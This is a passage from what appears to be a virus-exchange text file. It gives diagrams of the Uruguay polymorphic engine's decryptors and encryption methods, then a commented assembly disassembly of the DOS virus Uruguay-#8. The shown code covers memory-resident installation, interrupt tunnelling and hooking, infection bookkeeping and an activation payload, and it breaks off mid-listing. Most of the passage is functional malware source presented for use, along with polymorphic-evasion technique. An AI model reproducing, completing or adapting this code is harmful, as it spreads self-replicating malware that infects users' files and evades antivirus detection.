ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Data buffer & victim file start ³ 3 ³ 176 ³ 0....B0 ³ ³ Startup code ³ 8 ³ 459 ³ B1...27C ³ ³ Copyright string ³ 2 ³ 115 ³ 27D...2F0 ³ ³ Tunneling trace routines ³ 9 ³ 548 ³ 2F1...515 ³ ³ Warm reboot routines (Int 8,9) ³ 9 ³ 518 ³ 516...71B ³ ³ Interrupt (13h,21h) handlers ³ 14 ³ 874 ³ 71C...A86 ³ ³ Infection routines ³ 6 ³ 374 ³ A87...BFD ³ ³ EXE header relocator routine ³ 2 ³ 132 ³ BFE...C82 ³ ³ Memory decode/encode routines ³ 2 ³ 127 ³ C83...D02 ³ ³ Polymorphic engine data & tables ³ 5 ³ 330 ³ D03...E4D ³ ³ Polymorphic engine code ³ 38 ³ 2295 ³ E4E..1745 ³ ³ Random number generator ³ 2 ³ 106 ³ 1746..17AF ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Total: ³ 100 ³ 6064 ³ 17B0 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÙ Fig.4. Simple decryption routine before and after first decryption step (process of decoding encrypted viral code starts from the LOOP instruction itself). Dots represent the do-nothing instructions. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ... ³ ... ³ ³ IP ÄÄÄÄ> MOV DI,POINTER ³ MOV DI,POINTER ³ ³ ... ³ ... ³ ³ MOV CX,COUNTER ³ MOV CX,COUNTER ³ ³ ... ³ ... ³ ³ DECRYPT: XOR word ptr [DI],MASK Ä¿ ³ DECRYPT: XOR word ptr [DI],MASK ÄÄ¿³ ³ ... ³ ³ ... ³³ ³ ADD DI,2 ³ ³ ADD DI,2 ³³ ³ ... ³ ³ IP ÄÄÄÄ> ... ³³ ³ POINTER: xxxx <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ POINTER: LOOP DECRYPT ³³ ³ xxxx ³ xxxx <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³ ³ xxxx ³ xxxx ³ ³ ... ³ ... ³ ³ ³ ³ ³ a) simple case (before running) ³ b) simple case (after running) ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Fig.5. Virus head and tail. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ V ³ ³ ÚÄÄÄÄÁÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ JMP ³ victim file body ³ virus decryptor ³ encrypted virus body ³ ³ ³ ÀÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ÀÄÄÂÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ virus virus ³ ³ head tail ³ ³ (3-bytes) ³ ³ ³ ³ a) simple 3-byte head (JMP=E9 offset) ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄ¿ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ V ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ...PUSH...RET ³ victim file body ³ virus decryptor ³ encrypted virus body ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ÀÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ virus virus ³ ³ head tail ³ ³ (99-bytes) ³ ³ ³ ³ b) extended virus head uses 3 types of control transfer to the virus ³ ³ tail: 1. JMP offset; 2. MOV reg, offset/JMP reg; 3. PUSH offset/RET. ³ ³ Dots denote do-nothing and register modification commands commands. ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Fig.6. Do-nothing instructions of Uruguay polymorphic engine (#7, #8), used in the decryptor of virus body. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ clc ³ adc dx,ax neg dx inc dl ³ ³ cld ³ adc dx,bx neg bp inc dh ³ ³ cmc ³ adc dx,cx neg dl dec dl ³ ³ stc ³ adc dx,dx neg dh dec dh ³ ³ sti ³ adc dx,si not dl xor dh,dh ³ ³ nop ³ adc dx,bp not dh xor dl,dl ³ ³ inc dx ³ adc bp,dx rcl dx,1 xchg bp,dx ³ ³ inc bp ³ jmp short $+2 rcl bp,1 xchg dh,dl ³ ³ dec dx ³ jc $+2 rcr dx,1 xchg dl,dh ³ ³ dec bp ³ jz $+2 rcr bp,1 push bp / pop dx ³ ³ ³ jnz $+2 shl dl,1 push dx / pop bp ³ ³ ³ jbe $+2 shl dh,1 ³ ³ ³ jl $+2 shr dl,1 ³ ³ ³ shr dh,1 ³ ³ a)one-byte ³ ³ ³ commands ³ b)two-byte commands ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Fig.7. Register-modification instructions of Uruguay polymorphic engine (#7, #8), used in the decryptor of virus body. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ADD REG, word INC REG MOV REG, REG ³ ³ SUB REG, word DEC REG AND REG, REG ³ ³ XOR REG, word NOT REG XOR REG, REG ³ ³ MOV REG, word SHR REG,1 OR REG, REG ³ ³ OR REG, word SHL REG,1 ADD REG, REG ³ ³ AND REG, word ROR REG,1 SUB REG, REG ³ ³ ROL REG,1 ³ ³ ³ ³ REG=AX/CX/DX/BP/BX/SI/DI ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Fig.8. Encryption methods used by Uruguay-#7 and #8. ÚÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ # ³ Method sequence ³ Comment ³ ÃÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 1 ³ XOR [word],CONSTANT ³ CONSTANT is global ³ ³ 2 ³ SUB [word],CONSTANT ³ CONSTANT is global ³ ³ 3 ³ ADD [word],CONSTANT ³ CONSTANT is global ³ ³ 4 ³ ROR [word],1 ³ ³ ³ 5 ³ ROL [word],1 ³ ³ ³ 6 ³ NOT [word] ³ ³ ³ 7 ³ NEG [word] ³ ³ ³ 8 ³ XOR [word],CX ³ LOOP counter is used as MASK ³ ³ ³ ³ (CX is modified by LOOP) ³ ³ 9 ³ SUB [word],CX ³ LOOP counter is used as MASK ³ ³ ³ ³ (CX is modified by LOOP) ³ ³ 10 ³ ADD [word],CX ³ LOOP counter is used as MASK ³ ³ ³ ³ (CX is modified by LOOP) ³ ³ 11 ³ XOR [word],DI ³ POINTER is used as mask ³ ³ ³ ADD DI,2 ³ (DI is modified as in Fig.9) ³ ³ 12 ³ SUB [word],DI ³ POINTER is used as mask ³ ³ ³ ADD DI,2 ³ (DI is modified as in Fig.9) ³ ³ 13 ³ ADD [word],DI ³ POINTER is used as mask ³ ³ ³ ADD DI,2 ³ (DI is modified as in Fig.9) ³ ³ 14 ³ XOR [word],MASK ³ MASK is for this method only ³ ³ 15 ³ SUB [word],MASK ³ MASK is for this method only ³ ³ 16 ³ ADD [word],MASK ³ MASK is for this method only ³ ÀÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Fig.9. Nested decryption routine before and after first decryption step (process of decoding encrypted viral code starts from the LOOP instruction itself). Dots represent the do-nothing instructions. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ... ³ ... ³ ³ IP ÄÄÄÄ> MOV DI,POINTER ³ MOV DI,POINTER ³ ³ ... ³ ... ³ ³ MOV CX,COUNTER ³ MOV CX,COUNTER ³ ³ ... ³ ... ³ ³ DECRYPT: XOR word ptr [DI],MASK1 ÄÄ¿ ³ DECRYPT: XOR word ptr [DI],MASK1 ÄÄ¿ ³ ³ ... ³ ³ ... ³ ³ ³ SUB word ptr [DI],MASK2 ÄÄ´ ³ SUB word ptr [DI],MASK2 ÄÄ´ ³ ³ ... ³ ³ ... ³ ³ ³ ADD word ptr [DI],MASK3 ÄÄ´ ³ ADD word ptr [DI],MASK3 ÄÄ´ ³ ³ ... ³ ³ ... ³ ³ ³ ADD DI,2 ³ ³ ADD DI,2 ³ ³ ³ ... ³ ³ IP ÄÄÄÄ> ... ³ ³ ³ POINTER: xxxx <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ POINTER: LOOP DECRYPT ³ ³ ³ xxxx ³ xxxx <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ xxxx ³ xxxx ³ ³ ... ³ ... ³ ³ ³ ³ ³ a) nested case (before running) ³ b) nested case (after running) ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Fig.10. Code synonyms used to modify pointer -- DI=DI+2 (modification of BX and SI is the same). RND denotes any random word. ÚÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ # ³ Modification method ³ Processor opcodes ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ First ³ Second ³ First ³ Second ³ ³ ³ instruction ³ instruction ³ instruction ³ instruction ³ ÃÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 1 ³ INC DI ³ INC DI ³ 47 ³ 47 ³ ³ 2 ³ ADD DI,+2 ³ ³ 83,C7,02 ³ ³ ³ 3 ³ SUB DI,FFFE ³ ³ 81,EF,FE,FF ³ ³ ³ 4 ³ SUB DI,-2 ³ ³ 83,EF,FE ³ ³ ³ 5 ³ ADD DI,2 ³ ³ 81,C7,02,00 ³ ³ ³ 6 ³ ADD DI,RND ³ SUB DI,RND-2 ³ 81,C7,xx,yy ³ 81,EF,zz,yy ³ ÀÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ;=END URUGUAYS.TXT]========================================================== ;=[BEGIN URUGUAY8.ASM]======================================================= ; ;Uruguay#8 ;Dissasembled by Sepultura [Immortal Riot/Genesis] ; ; ; .8086 model tiny seg000 segment byte assume cs:seg000, es:nothing, ss:nothing, ds:nothing timer = [046Ch] ;BIOS Timer = DWord PTR 0:46C ;---------------------------------------------------------------------------- jmp entry_point ;---------------------------------------------------------------------------- dos_version dw 0 ; Value Returned by i21h/AH=30h int_9_offset dw 0 ; Original Int 9h Vector int_9_seg dw 0 ; (Keyboard) int_8_off dw 0 ; Original Int 8h Vector int_8_seg dw 0 ; (Hardware Timer - IRQ 0) int_21_off dw 0 ; Original Int 21h Vector int_21_seg dw 0 ; (DOS Functions) tint_13_off dw 0 ; Tunneled Int 13h Vector tint_13_seg dw 0 ; (BIOS Disk Functions) int_13_off dw 0 ; Original Int 13h Vector int_13_seg dw 0 ; (BIOS Disk Functions) tint_21_off dw 0 ; Tunneled Int 21h Vector tint_21_seg dw 0 ; (DOS Functions) int_24_off dw 0 ; Original Int 24h Vector int_24_seg dw 0 ; (Critical Error Handler) int_2a_off dw 0 ; Original Int 2Ah Vector int_2a_seg dw 0 ; (Network API) header_buffer db 100 dup (0) ; Original 100 bytes of Host File orig_21_5 db 5 dup (0) ; Orginal 5 bytes of Patched INT 21h file_size_minus_2 dw 0 ; Length of File Being Infected - 2 is_exe db 0 ; 0 if COM Host, 1 if EXE Host exe_restore_offset dw 0 exe_restore_segment dw 0 verify_flag db 0 ; Orginal DOS Verifly Flag int13_error db 0 ; 0 if No Error, 1 if INT 13h Error saved_ax dw 0 ; AX(Function) of called INT 21h command_com db 'COMMAND' ; DONT Infect COMMAND.COM com_ext db '.COM' ; DO Infect *.COM exe_ext db '.EXE' ; and *.EXE create_header db 0 ; 0 if Engine should build Decryptor ; 1 to build Extended Header file_attributes dw 0 ; File being Infected Attributes file_size dw 0 ; File being Infected Length file_time_stamp dw 0 ; File being Infected Time Stamp file_date_stamp dw 0 ; File being Infected Date Stamp infection_marker db 0 ; Value of Seconds Field to Mark ; Infection - Depending on Machine ;---------------------------------------------------------------------------- entry_point: cld call delta1 delta1: pop bx push cs push bx mov si, bx add si, offset encrypted_msg - offset delta1 xor ax, ax mov es, ax assume es:nothing mov cl, es:timer ; BIOS Timer Ticks or cl, cl ; 1 in 256 chance of activation jnz dont_activate mov ah, 0Eh ; INT 10h - Display Character mov dl, 75h ; Initial Decryption Key xor bx, bx in al, 61h or al, 3 ; Enable PC Speaker out 61h, al print_next_character: mov al, 0B6h ; Initial Calculation Value out 43h, al ; Calculate Tone according to mov al, dl ; the character being printed, out 42h, al ; and its decryption value. lodsb out 42h, al xor al, dl ; Decrypt Character jz printed_last_chararacter mov dl, al int 10h ; Print Character inc cl delay1: cmp es:timer, cl ; Wait Approx. 1/18th of a Second jnz delay1 jmp print_next_character printed_last_chararacter: in al, 61h and al, 0FCh ; Disable PC Speaker out 61h, al add cl, 90 ; Wait 5 Seconds delay2: cmp es:timer, cl jnz delay2 dont_activate: pop bx push bx push cs pop es assume es:seg000 mov [bx+offset exe_restore_segment - offset delta1], cs mov ax, offset restore_exe_host - offset delta1 add ax, bx mov [bx+offset exe_restore_offset - offset delta1], ax mov si, offset header_buffer - offset delta1 restore_com_header: add si, bx mov di, 100h mov cx, 100 cld rep movsb mov bx, 1234h ; Warn Resident copy of Virus to mov dx, 5678h ; Hook INT 21h if still waiting int 8 ; to Rehook after faked Reboot. mov ax, 3032h mov dx, 1234h int 21h ; Check if Resident cmp ax, 5678h jnz install_virus pop bx pop ax cmp byte ptr [bx+offset is_exe-offset delta1], 1 jnz restore_com_host jmp dword ptr cs:[bx+offset exe_restore_offset-offset delta1] restore_com_host: push ax exit_with_correct_regs: mov ax, 100h push ax xor ax, ax xor bx, bx mov cx, 0FFh mov si, 100h mov di, 0FFFEh sti retf ;---------------------------------------------------------------------------- install_virus: mov ax, cs dec ax get_next_mcb: mov ds, ax assume ds:nothing cmp byte ptr ds:0, 'Z' ; Last MCB? jz found_last_mcb add ax, ds:3 inc ax ; Get Next MCB jmp get_next_mcb found_last_mcb: sub word ptr ds:3, 321h ; allocate 3210h Bytes (13 KB) mov ax, ds add ax, ds:3 inc ax ; AX=New Segment mov es, ax assume es:nothing pop si sub si, offset delta1 ; SI=Start of Virus xor di, di push cs pop ds assume ds:seg000 mov cx, offset end_poly_engine+1 cld rep movsb ; Copy Virus to New Segment mov cx, offset jump_over push ax push cx retf ; Jump to New Segment ;---------------------------------------------------------------------------- jump_over: call trace_critical_ints ; Trace INT 21h,13h. call patch_21 ; Intercept INT 21h. push cs pop ds mov ah, 30h call tint_21 mov dos_version, ax ; Save DOS Version mov al, 9 call get_int_vector mov int_9_offset, bx ; Save INT 9h Vector mov int_9_seg, es mov al, 9 mov dx, offset int_9_handler call set_int_vector ; Intercept INT 9h (Keyboard) call print_installation_msg ; Tell user virus is Resident call calculate_infection_marker pop ax cld cmp cs:is_exe, 1 mov ds, ax assume ds:nothing jnz _restore_com_host jmp dword ptr cs:exe_restore_offset _restore_com_host: mov es, ax push ax push cs pop word ptr es:2 jmp exit_with_correct_regs ;---------------------------------------------------------------------------- set_int_vector: pushf push bx push es mov ah, 0 shl ax, 1 shl ax, 1 mov bx, ax xor ax, ax mov es, ax assume es:nothing cli mov es:[bx], dx mov es:[bx+2], ds pop es assume es:nothing pop bx popf ret ;---------------------------------------------------------------------------- get_int_vector: pushf mov ah, 0 shl ax, 1 shl ax, 1 mov bx, ax xor ax, ax mov es, ax assume es:nothing cli les bx, es:[bx] assume es:nothing popf ret ;---------------------------------------------------------------------------- print_installation_msg: call decode_routine ;---------------------------------------------------------------------------- dw offset end_installation_display db 0 ;---------------------------------------------------------------------------- push ax push bx push cx push dx push di push ds push cs pop ds assume ds:seg000 mov di, offset segment_string mov bx, offset hex_numbers mov dx, cs ; Convert CS to 4 Byte ASCII mov al, dh mov cl, 4 shr al, cl xlat byte ptr cs:[bx]; X... mov [di], al mov al, dh and al, 0Fh xlat byte ptr cs:[bx]; .X.. mov [di+1], al mov al, dl shr al, cl xlat byte ptr cs:[bx]; ..X. mov [di+2], al mov al, dl and al, 0Fh xlat byte ptr cs:[bx]; ...X mov [di+3], al mov ah, 9 mov dx, offset install_msg call tint_21 pop ds assume ds:nothing pop di pop dx pop cx pop bx pop ax ret ;---------------------------------------------------------------------------- hex_numbers db '0123456789ABCDEF' install_msg db 'Uruguay-#8 installed (seg=' segment_string db '9CDE',0Dh,0Ah end_installation_display db '$' ;---------------------------------------------------------------------------- calculate_infection_marker: call decode_routine ;---------------------------------------------------------------------------- dw offset end_marker_calculation db 0 ;---------------------------------------------------------------------------- push bx push si push cx mov ax, 0FC00h ; ROM BIOS mov ds, ax assume ds:nothing xor si, si xor bx, bx mov cx, 1000 cld marker_calculation_loop: lodsb xor bl, al rol bl, 1 sub bl, al loop marker_calculation_loop mov ax, 1Eh xchg ax, bx div bl mov cs:infection_marker, ah pop cx pop si pop bx end_marker_calculation: ret ;---------------------------------------------------------------------------- ; Uruguay-#8 Virus ; Programmed in Montevideo (URUGUAY). 03/93. ; This is a research virus - DO NOT DISTRIBUTE. encrypted_msg db 78h, 07h, 5Fh, 27h, 07h, 12h, 12h, 14h db 18h, 54h, 0Eh, 1Bh, 18h, 76h, 3Fh, 1Bh db 07h, 06h, 7Eh, 07h, 5Ah, 22h, 1Dh, 08h db 15h, 13h, 0Ch, 00h, 08h, 01h, 44h, 49h db 07h, 4Eh, 6Dh, 22h, 01h, 1Ah, 11h, 13h db 1Fh, 0Dh, 01h, 0Ah, 4Fh, 08h, 7Dh, 07h db 07h, 12h, 12h, 14h, 18h, 70h, 07h, 0Eh db 10h, 03h, 1Ch, 16h, 0Ah, 1Dh, 23h, 07h db 5Eh, 3Ch, 01h, 1Ah, 53h, 49h, 1Ah, 53h db 41h, 41h, 52h, 17h, 16h, 16h, 04h, 13h db 11h, 0Bh, 48h, 56h, 1Fh, 1Bh, 07h, 06h db 53h 0Dh, 0Dh, 64h, 0Bh, 6Fh, 6Eh, 01h db 1Bh, 74h, 64h, 0Dh, 1Ah, 07h, 06h, 1Bh db 0Bh, 17h, 01h, 11h, 6Bh, 23h, 07h, 07h db 07h, 0Ah dos_traced_segment dw 0 target_int_off dw 0 target_int_seg dw 0 ct_int_1_offset dw 0 ct_int_1_segment dw 0 target_int_found db 0 dos_traced_offset dw 0 int1_saved_ax dw 0 int1_saved_bp dw 0 ;---------------------------------------------------------------------------- dos_int_1_handler: cmp cs:target_int_found, 1 jnz do_dos_int_1 iret do_dos_int_1: mov cs:int1_saved_ax, ax mov cs:int1_saved_bp, bp mov bp, sp mov ax, [bp+2] ; AX=Calling Segment cmp ax, cs:dos_traced_segment ja exit_dos_int_1 mov cs:dos_traced_segment, ax mov cs:target_int_found, 1 mov ax, [bp+4] and ax, 0FEFFh ; Clear TF mov [bp+4], ax mov ax, [bp+0] mov cs:dos_traced_offset, ax exit_dos_int_1: mov ax, cs:int1_saved_ax mov bp, cs:int1_saved_bp iret ;---------------------------------------------------------------------------- trace_critical_ints: call decode_routine ;---------------------------------------------------------------------------- dw offset end_critical_int_tracer db 0 ;---------------------------------------------------------------------------- mov al, 1 call get_int_vector push cs pop ds assume ds:seg000 mov ct_int_1_offset, bx mov ct_int_1_segment, es mov al, 1 mov dx, offset dos_int_1_handler call set_int_vector mov al, 21h call get_int_vector mov tint_21_off, bx mov tint_21_seg, es mov al, 21h call trace_dos_int cmp cs:target_int_found, 1 jnz cant_find_orig_21 mov ax, cs:dos_traced_offset mov cs:tint_21_off, ax mov ax, cs:dos_traced_segment mov cs:tint_21_seg, ax cant_find_orig_21: mov al, 13h call get_int_vector mov cs:tint_13_off, bx mov cs:tint_13_seg, es mov al, 13h call trace_dos_int cmp cs:target_int_found, 1 jnz cant_find_orig_13 mov ax, cs:dos_traced_offset mov cs:tint_13_off, ax mov ax, cs:dos_traced_segment mov cs:tint_13_seg, ax cant_find_orig_13: mov al, 1 lds dx, dword ptr cs:ct_int_1_offset assume ds:nothing call set_int_vector ret ;---------------------------------------------------------------------------- trace_dos_int: call get_int_vector mov cs:target_int_off, bx mov cs:target_int_seg, es mov cs:target_int_found, 0 mov ax, 1203h int 2Fh ; DS = segment of MSDOS.SYS mov cs:dos_traced_segment, ds cli pushf pop ax or ax, 100h ; Set TF push ax popf mov ah, 0FFh mov dl, 0 pushf call dword ptr cs:target_int_off pushf pop ax and ax, 0FEFFh ; Clear TF push ax popf sti end_critical_int_tracer: ret ;---------------------------------------------------------------------------- bios_traced_offset dw 0 bios_traced_segment dw 0 interrupt_to_tunnel db 0 ;---------------------------------------------------------------------------- bios_int_1_handler: cmp cs:target_int_found, 1 jnz do_bios_int_21 iret do_bios_int_21: mov cs:int1_saved_ax, ax mov cs:int1_saved_bp, bp mov bp, sp mov ax, [bp+2] ; AX=Calling Segment cmp ax, 0C000h ; In BIOS Area? jb exit_bios_int_21 cmp ax, 0FFFFh jz exit_bios_int_21 mov cs:bios_traced_segment, ax mov cs:target_int_found, 1 mov ax, [bp+4] and ax, 0FEFFh ; Clear TF mov [bp+4], ax mov ax, [bp+0] mov cs:bios_traced_offset, ax exit_bios_int_21: mov ax, cs:int1_saved_ax mov bp, cs:int1_saved_bp iret ;---------------------------------------------------------------------------- trace_bios_int: call decode_routine ;---------------------------------------------------------------------------- dw offset end_bios_tracer db 0 ;---------------------------------------------------------------------------- push dx push ax push cs pop ds assume ds:seg000 mov interrupt_to_tunnel, al call get_int_vector mov bios_traced_offset, bx mov bios_traced_segment, es mov al, 1 call get_int_vector mov ct_int_1_offset, bx mov ct_int_1_segment, es mov al, 1 mov dx, offset bios_int_1_handler call set_int_vector mov cs:target_int_found, 0 cli pushf pop ax or ax, 100h ; Set TF push ax popf pop ax pop dx pushf call dword ptr cs:bios_traced_offset pushf pop ax and ax, 0FEFFh ; Clear TF push ax popf sti mov al, 1 lds dx, dword ptr cs:ct_int_1_offset assume ds:nothing call set_int_vector mov al, cs:interrupt_to_tunnel lds dx, dword ptr cs:bios_traced_offset call set_int_vector ; Set Vector to Traced (original) ; vector. end_bios_tracer:ret ;---------------------------------------------------------------------------- int1_saved_ds dw 0 int1_saved_bx dw 0 ;---------------------------------------------------------------------------- int19_int_1_handler: mov cs:int1_saved_ax, ax mov cs:int1_saved_bp, bp mov cs:int1_saved_bx, bx mov cs:int1_saved_ds, ds mov bp, sp mov ax, [bp+2] ; AX=Calling Segment mov ds, ax mov bx, [bp+0] ; AX=Calling Offset cmp ax, 0F000h jb not_int_19_segment cmp ax, 0FFFFh ; Dont want it in HMA jz not_int_19_segment mov al, 19h mov dx, bx call set_int_vector jmp begin_rebooting not_int_19_segment: cmp word ptr [bx], 19CDh; INT 19h jz reboot_now cmp word ptr [bx+2], 19CDh; xXxX, INT 19h jnz exit_int19_int_1 cmp word ptr [bx], 0A5F3h; REP MOVSW, INT 19h jnz exit_int19_int_1 cmp si, 38h jz bios_is_copying_vectors exit_int19_int_1: mov ax, cs:int1_saved_ax mov bp, cs:int1_saved_bp mov bx, cs:int1_saved_bx mov ds, cs:int1_saved_ds iret ;---------------------------------------------------------------------------- reboot_now: jmp begin_rebooting ;---------------------------------------------------------------------------- bios_is_copying_vectors: movsw ; MOV 1 Vector movsw add si, 4 ; SKIP INT 1 add di, 4 sub cx, 2 rep movsw ; MOV the rest jmp begin_rebooting ;---------------------------------------------------------------------------- trace_int_19: push cs pop ds assume ds:seg000 mov al, 19h call get_int_vector mov bios_traced_offset, bx mov bios_traced_segment, es mov al, 1 mov dx, offset int19_int_1_handler call set_int_vector ;---------------------------------------------------------------------------- cli pushf pop ax or ax, 100h push ax popf jmp dword ptr cs:bios_traced_offset ;---------------------------------------------------------------------------- db 64h, 63h, 61h, 77h, 59h, 48h, 7Eh, 55h ;NO IDEA db 79h, 3Eh, 12h, 18h, 5Bh, 0Fh, 05h, 4Fh db 1Eh, 7Ah, 6Dh, 0FCh ;---------------------------------------------------------------------------- reboot_saved_sp dw 0 xms_api_offset dw 0 